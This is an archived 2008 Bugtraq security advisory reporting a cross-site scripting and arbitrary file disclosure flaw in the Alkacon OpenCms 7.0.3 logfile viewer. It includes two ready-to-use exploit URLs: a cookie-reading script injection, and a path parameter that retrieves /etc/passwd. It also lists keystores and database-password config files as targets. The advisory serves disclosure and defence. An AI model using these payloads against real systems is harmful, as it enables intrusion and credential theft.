bugtraq - Alkacon OpenCms logfileViewSettings.jsp XSS, file disclosure

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20080308194925.24545.qmail@securityfocus.com>
Date: 8 Mar 2008 19:49:25 -0000
From: nnposter@...closed.not
To: bugtraq@...urityfocus.com
Subject: Alkacon OpenCms logfileViewSettings.jsp XSS, file disclosure

Alkacon OpenCms logfileViewSettings.jsp XSS, file disclosure

Product: Alkacon OpenCms 
http://www.opencms.org/

OpenCms contains a vulnerability in the Logfile Viewer Settings function. Input to Parameter filePath.0 in page opencms/system/workplace/admin/workplace/logfileview/logfileViewSettings.jsp is not sufficiently validated and/or sanitized. This can be exploited as a cross-site scripting issue but also as a file access issue, which allows a disclosure of arbitrary files that are readable in the OS security context of the JSP container process. The resulting page even has a "Download" button, which facilitates retrieving binary files. Possible targeted files could be /etc/passwd, /proc pseudo-files, Java keystore, OpenCms configuration file (with database password), etc.

Only OpenCms users in administrator roles have access to the vulnerable URL, which partially reduces the severity of the file disclosure aspect.

Example 1 (XSS):
http://(target)/opencms/system/workplace/admin/workplace/logfileview/logfileViewSettings.jsp?
isLogfile.0=true&isLogfile.0.value=true&enabled.0=true&enabled.0.value=true
&ok=Ok&action=save
&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fworkplace%252Flogfileview
&elementname=undefined&page=page1&style=new
&path=%252Fworkplace%252Flogfileview%252FlogfileViewSettings
&elementindex=0&framename=admin_content&windowSize.0=8000&fileEncoding.0=UTF-8
&filePath.0=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

Example 2 (retrieving /etc/passwd):
http://(target)/opencms/system/workplace/admin/workplace/logfileview/logfileViewSettings.jsp?
isLogfile.0=true&isLogfile.0.value=true&enabled.0=true&enabled.0.value=true
&ok=Ok&action=save
&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fworkplace%252Flogfileview
&elementname=undefined&page=page1&style=new
&path=%252Fworkplace%252Flogfileview%252FlogfileViewSettings
&elementindex=0&framename=admin_content&windowSize.0=8000&fileEncoding.0=UTF-8
&filePath.0=%2Fetc%2Fpasswd

The vulnerability has been identified in version 7.0.3. However, other versions may be also affected.

Solution:
Users should not browse untrusted sites while logged into OpenCms.

Found by:
nnposter